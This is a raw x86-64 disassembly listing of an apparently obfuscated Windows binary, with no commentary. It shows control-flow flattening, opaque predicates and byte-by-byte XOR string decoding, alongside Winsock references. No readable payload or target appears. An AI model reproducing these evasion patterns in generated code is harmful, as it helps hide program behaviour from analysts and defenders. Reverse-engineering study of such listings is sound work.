mov eax, 0x65935c71
jmp 0x140049458
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r10d
test eax, edi
mov eax, r14d
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x14004958c
cmp eax, 0x65935c71
je 0x1400494ce
cmp eax, 0x10a09de6
je 0x14004a95c
cmp eax, 0x9c6a156
jne 0x140049532
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x140049532
cmp eax, 0xe804e5f4
je 0x1400495a1
cmp eax, 0x9209573
jne 0x140049532
mov eax, 0x10a09de6
jmp 0x140049532
mov eax, 0x65935c71
jmp 0x140049532
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], r9b
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp edi, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140049662
cmp eax, 0x65935c71
je 0x1400495a8
cmp eax, 0x10a09de6
je 0x14004aa4d
cmp eax, 0x9c6a156
jne 0x140049609
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete bl
cmp r8d, 0xa
setl r14b
xor r14b, bl
mov ebx, 0xe804e5f4
cmovne ebx, esi
test eax, edi
mov eax, ebx
cmove eax, esi
jmp 0x140049602
cmp eax, 0xe804e5f4
je 0x140049677
cmp eax, 0x9209573
jne 0x140049609
mov eax, 0x10a09de6
jmp 0x140049609
mov eax, 0x65935c71
jmp 0x140049609
mov eax, dword [0x1402b5c98]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
mov eax, 0x5aba48f0
mov r9d, 0x2a706f1f
cmove eax, r9d
cmp dword [0x1402b5c9c], 0xa
mov r8d, 0x5aba48f0
jmp 0x14004a910
mov eax, 0x3a8cfc5
jmp 0x1400492f3
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, r9
mov r9, rsp
mov byte [rcx], al
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax + 1]
mov eax, 0x9c6a156
jmp 0x14004974e
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r10d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x1400497a4
cmp eax, 0x65935c71
je 0x1400496e9
cmp eax, 0x10a09de6
je 0x1400497c0
cmp eax, 0x9c6a156
jne 0x14004974e
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x14004974e
cmp eax, 0xe804e5f4
je 0x1400497b9
cmp eax, 0x9209573
jne 0x14004974e
mov eax, 0x10a09de6
jmp 0x14004974e
mov eax, 0x65935c71
jmp 0x14004974e
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, r9
mov r9, rsp
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax + 2]
mov eax, 0x9c6a156
jmp 0x140049844
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, r10d
cmp eax, 0x9c6a155
jle 0x14004989a
cmp eax, 0x65935c71
je 0x1400497ea
cmp eax, 0x10a09de6
je 0x1400498b6
cmp eax, 0x9c6a156
jne 0x140049844
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x140049844
cmp eax, 0xe804e5f4
je 0x1400498af
cmp eax, 0x9209573
jne 0x140049844
mov eax, 0x10a09de6
jmp 0x140049844
mov eax, 0x65935c71
jmp 0x140049844
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, r9
mov r9, rsp
mov byte [rcx + 2], al
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax + 3]
mov eax, 0x9c6a156
jmp 0x14004993a
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, r10d
cmp eax, 0x9c6a155
jle 0x14004999b
cmp eax, 0x65935c71
je 0x1400498e0
cmp eax, 0x10a09de6
je 0x1400499b7
cmp eax, 0x9c6a156
jne 0x14004993a
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, esi
test eax, edi
mov eax, r14d
cmove eax, esi
cmp r8d, 0xa
cmovge eax, r14d
jmp 0x14004993a
cmp eax, 0xe804e5f4
je 0x1400499b0
cmp eax, 0x9209573
jne 0x14004993a
mov eax, 0x10a09de6
jmp 0x14004993a
mov eax, 0x65935c71
jmp 0x14004993a
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, r9
mov r12, rsp
mov byte [rcx + 3], al
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx r9d, byte [rax + 4]
mov eax, 0x9c6a156
jmp 0x140049a43
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], r9b
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp edi, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, ebx
cmp eax, 0x9c6a155
jle 0x140049a98
cmp eax, 0x65935c71
je 0x1400499e2
cmp eax, 0x10a09de6
je 0x140049ab4
cmp eax, 0x9c6a156
jne 0x140049a43
cmp eax, 0xe804e5f4
je 0x140049aad
cmp eax, 0x9209573
jne 0x140049a43
mov eax, 0x10a09de6
jmp 0x140049a43
mov eax, 0x65935c71
jmp 0x140049a43
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, r12
mov r9, rsp
mov byte [rcx + 4], al
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax + 5]
mov eax, 0x9c6a156
jmp 0x140049b38
cmovge eax, r8d
setl r8b
xor r8b, cl
cmovne eax, r9d
jmp 0x1400492f3
movzx ecx, byte [rbp + 0x130]
movzx eax, byte [rbp + 0x188]
mov r9d, ecx
xor r9b, al
mov r9d, 0x4fef4114
mov r8d, 0x2ccc413b
cmovne r9d, r8d
test al, al
mov eax, r9d
cmovne eax, r8d
test cl, cl
cmove eax, r9d
jmp 0x1400492f3
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, r9
mov r9, rsp
mov byte [r13], al
movzx ebx, byte [rdx + 1]
mov eax, 0x9c6a156
jmp 0x14004a9d7
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, r10d
cmp eax, 0x9c6a155
jle 0x14004aa31
cmp eax, 0x65935c71
je 0x14004a97d
cmp eax, 0x10a09de6
je 0x14004ab56
cmp eax, 0x9c6a156
jne 0x14004a9d7
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x14004a9d7
cmp eax, 0xe804e5f4
je 0x14004aa46
cmp eax, 0x9209573
jne 0x14004a9d7
mov eax, 0x10a09de6
jmp 0x14004a9d7
mov eax, 0x65935c71
jmp 0x14004a9d7
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0x1e
mov rsp, rcx
mov r9, rsp
mov rcx, qword [rbp + 0x1a0]
mov byte [rcx], al
mov rcx, qword [rbp + 0x1a0]
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax + 0x14]
mov eax, 0x9c6a156
jmp 0x14004aae0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, r10d
cmp eax, 0x9c6a155
jle 0x14004ab3a
cmp eax, 0x65935c71
je 0x14004aa84
cmp eax, 0x10a09de6
je 0x14004ac56
cmp eax, 0x9c6a156
jne 0x14004aae0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x14004aae0
cmp eax, 0xe804e5f4
je 0x14004ab4f
cmp eax, 0x9209573
jne 0x14004aae0
mov eax, 0x10a09de6
jmp 0x14004aae0
mov eax, 0x65935c71
jmp 0x14004aae0
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, r9
mov r9, rsp
mov byte [r13 + 1], al
mov r12, qword [rcx]
movzx ebx, byte [r12 + 2]
mov eax, 0x9c6a156
jmp 0x14004abe0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r10d
test eax, edi
mov eax, r14d
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x14004ac3a
cmp eax, 0x65935c71
je 0x14004ab7c
cmp eax, 0x10a09de6
je 0x14004ad5c
cmp eax, 0x9c6a156
jne 0x14004abe0
mov eax, dword [0x1402b5ca0]
lea r8d, [rax + 1]
imul r8d, eax
mov eax, r8d
xor eax, 0xfffffffe
test eax, r8d
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x14004abe0
cmp eax, 0xe804e5f4
je 0x14004ac4f
cmp eax, 0x9209573
jne 0x14004abe0
mov eax, 0x10a09de6
jmp 0x14004abe0
mov eax, 0x65935c71
jmp 0x14004abe0
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0x1f
mov rsp, r9
mov r9, rsp
mov byte [rcx + 1], al
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
movzx ebx, byte [rax + 0x15]
mov eax, 0x9c6a156
jmp 0x14004ace4
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r10d
test eax, edi
mov eax, r14d
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x14004ad40
cmp eax, 0x65935c71
je 0x14004ac80
cmp eax, 0x10a09de6
je 0x14004ae5d
cmp eax, 0x9c6a156
jne 0x14004ace4
mov eax, dword [0x1402b5ca0]
lea r8d, [rax - 1]
imul r8d, eax
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
sete r8b
mov eax, 0xe804e5f4
cmove eax, esi
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r11d
setl dil
xor dil, r8b
cmovne eax, esi
jmp 0x14004ace4
cmp eax, 0xe804e5f4
je 0x14004ad55
cmp eax, 0x9209573
jne 0x14004ace4
mov eax, 0x10a09de6
jmp 0x14004ace4
mov eax, 0x65935c71
jmp 0x14004ace4
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, r9
mov r9, rsp
mov byte [r13 + 2], al
movzx ebx, byte [r12 + 3]
mov eax, 0x9c6a156
jmp 0x14004ade3
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r10d
test eax, edi
mov eax, r14d
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x14004ae41
cmp eax, 0x65935c71
je 0x14004ad7f
cmp eax, 0x10a09de6
je 0x14004ae88
cmp eax, 0x9c6a156
jne 0x14004ade3
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp r8d, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, esi
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, esi
jmp 0x14004addb
cmp eax, 0xe804e5f4
je 0x14004ae56
cmp eax, 0x9209573
jne 0x14004ade3
mov eax, 0x10a09de6
jmp 0x14004ade3
mov eax, 0x65935c71
jmp 0x14004ade3
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0x20
mov rsp, r9
mov byte [rcx + 2], al
mov byte [rcx + 3], 0
mov rax, qword [rbp + 0x1c0]
mov byte [rax + 0x17], 1
mov eax, 0xc55c03d3
jmp 0x1400492f3
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, r9
mov r12, rsp
mov byte [r13 + 3], al
mov r9, qword [rcx]
movzx ebx, byte [r9 + 4]
mov eax, 0x9c6a156
jmp 0x14004af11
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
mov r8d, dword [0x1402b5ca4]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp r8d, 0xa
setl r15b
xor r15b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r10d
test eax, edi
mov eax, r14d
cmove eax, r10d
cmp r8d, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x14004af69
cmp eax, 0x65935c71
je 0x14004aead
cmp eax, 0x10a09de6
je 0x14004af85
cmp eax, 0x9c6a156
jne 0x14004af11
cmp eax, 0xe804e5f4
je 0x14004af7e
cmp eax, 0x9209573
jne 0x14004af11
mov eax, 0x10a09de6
jmp 0x14004af11
mov eax, 0x65935c71
jmp 0x14004af11
mov rax, qword [rbp + 0x148]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, r12
mov rbx, rsp
mov byte [r13 + 4], al
movzx r9d, byte [r9 + 5]
mov eax, 0x9c6a156
jmp 0x14004b002
cmp eax, 0x2a706f1f
jne 0x1400492f3
mov rax, qword [rbp + 0x1c0]
mov eax, 0x2b52139c
mov rsp, qword [rbp + 0xd0]
jmp 0x140049245
mov rax, qword [rbp + 0x198]
mov rsp, qword [rbp + 0xe8]
sub rsp, 0x20
mov rcx, qword [rbp + 0xf8]
mov rdx, qword [rbp - 0x10]
call fcn.1400b4d80
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
call fcn.140003350
add rsp, 0x20
mov qword [rbp + 0xf8], rax
mov ecx, dword [0x1402b5e08]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5e0c], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x14004bddc
or cl, al
test cl, 1
je 0x14004bddc
jmp 0x14004bdda
mov qword [rbp + 0xe8], rsp
mov eax, 0x1772dfbc
cmp eax, 0x1772dfbc
je 0x14004bdf8
cmp eax, 0xbc473aa3
jne 0x14004bde8
jmp 0x14004bdff
mov eax, 0xbc473aa3
jmp 0x14004bde8
mov eax, dword [0x1402b5ec8]
mov ecx, dword [0x1402b5ecc]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x198]
cmp ecx, 0xa
setl byte [rbp + 0x128]
mov eax, 0x6a037e3
mov r8d, 0x7dfec4f2
mov r10d, 0xe0004f4a
mov r11d, 0x35abd8b0
mov esi, 0xd25f3674
mov ebx, 0xf498fb6c
mov r14d, 0x7a6e8d4d
mov r15d, 0xe803580
mov r12d, 0xbd8ebc6f
jmp 0x14004be6b
mov rax, qword [rbp + 0x1d0]
mov eax, 0x7a6e8d4d
cmp eax, 0xe80357f
jg 0x14004be9a
cmp eax, 0xe0004f49
jg 0x14004befe
cmp eax, 0xbd8ebc6f
je 0x14004c4c3
cmp eax, 0xc0da5518
jne 0x14004c4cd
mov eax, 0xe0004f4a
jmp 0x14004be6b
cmp eax, 0x7a6e8d4c
jg 0x14004bf46
cmp eax, 0xe803580
je 0x14004bf66
cmp eax, 0x76afa2e7
jne 0x14004be6b
mov eax, dword [0x1402b5ec8]
mov ecx, dword [0x1402b5ecc]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r9b
xor r9b, al
mov r9d, 0xe803580
cmovne r9d, r14d
cmp edx, 0xffffffff
mov eax, r9d
cmove eax, r14d
cmp ecx, 0xa
cmovge eax, r9d
jmp 0x14004be6b
cmp eax, 0xe0004f4a
je 0x14004c1ba
cmp eax, 0x6a037e3
jne 0x14004be6b
movzx ecx, byte [rbp + 0x198]
movzx eax, byte [rbp + 0x128]
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc0da5518
cmovne eax, r10d
test cl, cl
mov ecx, 0xc0da5518
cmove eax, ecx
test dl, dl
cmovne eax, r10d
jmp 0x14004be6b
cmp eax, 0x7a6e8d4d
je 0x14004c22e
cmp eax, 0x7dfec4f2
jne 0x14004be6b
mov eax, 0x76afa2e7
jmp 0x14004be6b
mov rax, qword [rbp + 0x190]
lea rcx, str._True
mov qword [rax], rcx
mov rax, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x48]
mov qword [rax], rcx
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x190]
mov r13, qword [rcx]
mov edx, 0x7c22783d
jmp 0x14004bfe0
mov ecx, dword [0x1402b5ed0]
mov r9d, dword [0x1402b5ed4]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp r9d, 0xa
setl dil
xor dil, cl
mov ecx, 0xd25f3674
cmovne ecx, ebx
cmp edx, 0xffffffff
mov edx, ecx
cmove edx, ebx
cmp r9d, 0xa
cmovge edx, ecx
cmp edx, 0x25e571f1
jle 0x14004c03c
cmp edx, 0x25e571f2
je 0x14004bfa0
cmp edx, 0x35abd8b0
je 0x14004be5f
cmp edx, 0x7c22783d
jne 0x14004bfe0
mov qword [rbp + 0x1d0], rax
mov rdx, qword [rbp + 0x1d0]
movzx ecx, byte [r13]
xor cl, 0xb
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c035
cmp edi, 0x71374f25
jne 0x14004c023
jmp 0x14004c09b
mov edi, 0x71374f25
jmp 0x14004c023
cmp edx, 0xd25f3674
je 0x14004c1a5
cmp edx, 0xf498fb6c
jne 0x14004bfe0
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx + 6], 1
mov ecx, dword [0x1402b5ed0]
mov r9d, dword [0x1402b5ed4]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp r9d, 0xa
setl dil
xor dil, cl
mov ecx, 0xd25f3674
cmovne ecx, r11d
cmp edx, 0xffffffff
mov edx, ecx
cmove edx, r11d
jmp 0x14004bfd9
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx], cl
movzx ecx, byte [r13 + 1]
xor cl, 0xc
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c0ce
cmp edi, 0x71374f25
jne 0x14004c0bc
jmp 0x14004c0d5
mov edi, 0x71374f25
jmp 0x14004c0bc
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx + 1], cl
movzx ecx, byte [r13 + 2]
xor cl, 0xd
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c109
cmp edi, 0x71374f25
jne 0x14004c0f7
jmp 0x14004c110
mov edi, 0x71374f25
jmp 0x14004c0f7
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx + 2], cl
movzx ecx, byte [r13 + 3]
xor cl, 0xe
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c144
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx + 6], 1
mov edx, 0xf498fb6c
jmp 0x14004bfe0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x190], rax
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rcx, rsp
mov eax, dword [0x1402b5ec8]
mov edx, dword [0x1402b5ecc]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r13b
cmp edx, 0xa
setl r9b
xor r9b, r13b
mov r9d, 0xc0da5518
cmovne r9d, r8d
test eax, edi
mov eax, r9d
cmove eax, r8d
cmp edx, 0xa
mov qword [rbp + 0x1c0], rcx
cmovge eax, r9d
jmp 0x14004be6b
mov rax, qword [rbp + 0x190]
lea rcx, str._True
mov qword [rax], rcx
mov rax, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x48]
mov qword [rax], rcx
mov rax, qword [rbp + 0x1c0]
mov rax, qword [rax]
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x190]
mov rax, qword [rax]
mov r13, qword [rbp + 0x1a0]
mov edx, 0x7c22783d
jmp 0x14004c2b6
mov ecx, dword [0x1402b5ed0]
mov r9d, dword [0x1402b5ed4]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp r9d, 0xa
setl dil
xor dil, cl
mov ecx, 0xd25f3674
cmovne ecx, ebx
cmp edx, 0xffffffff
mov edx, ecx
cmove edx, ebx
cmp r9d, 0xa
cmovge edx, ecx
cmp edx, 0x25e571f1
jle 0x14004c310
cmp edx, 0x25e571f2
je 0x14004c276
cmp edx, 0x35abd8b0
je 0x14004c483
cmp edx, 0x7c22783d
jne 0x14004c2b6
mov qword [rbp + 0x1d0], r13
mov rdx, qword [rbp + 0x1d0]
movzx ecx, byte [rax]
xor cl, 0xb
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c309
cmp edi, 0x71374f25
jne 0x14004c2f7
jmp 0x14004c368
mov edi, 0x71374f25
jmp 0x14004c2f7
cmp edx, 0xd25f3674
je 0x14004c46e
cmp edx, 0xf498fb6c
jne 0x14004c2b6
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx + 6], 1
mov ecx, dword [0x1402b5ed0]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
mov edx, 0xd25f3674
cmove edx, r11d
cmp dword [0x1402b5ed4], 0xa
cmovge edx, esi
setl r9b
xor r9b, cl
cmovne edx, r11d
jmp 0x14004c2b6
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx], cl
movzx ecx, byte [rax + 1]
xor cl, 0xc
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c39a
cmp edi, 0x71374f25
jne 0x14004c388
jmp 0x14004c3a1
mov edi, 0x71374f25
jmp 0x14004c388
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx + 1], cl
movzx ecx, byte [rax + 2]
xor cl, 0xd
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c3d4
cmp edi, 0x71374f25
jne 0x14004c3c2
jmp 0x14004c3db
mov edi, 0x71374f25
jmp 0x14004c3c2
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx + 2], cl
movzx ecx, byte [rax + 3]
xor cl, 0xe
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c40e
cmp edi, 0x71374f25
jne 0x14004c3fc
jmp 0x14004c415
mov edi, 0x71374f25
jmp 0x14004c3fc
mov qword [rbp + 0x148], rcx
mov rcx, qword [rbp + 0x148]
mov byte [rdx + 3], cl
movzx ecx, byte [rax + 4]
xor cl, 0xf
movsx rcx, cl
mov edi, 0x158f52dd
cmp edi, 0x158f52dd
je 0x14004c448
cmp edi, 0x71374f25
jne 0x14004c436
mov edi, 0x71374f25
jmp 0x14004c436
mov rcx, qword [rbp + 0x1d0]
mov byte [rcx + 6], 1
mov edx, 0xf498fb6c
jmp 0x14004c2b6
mov rax, qword [rbp + 0x1d0]
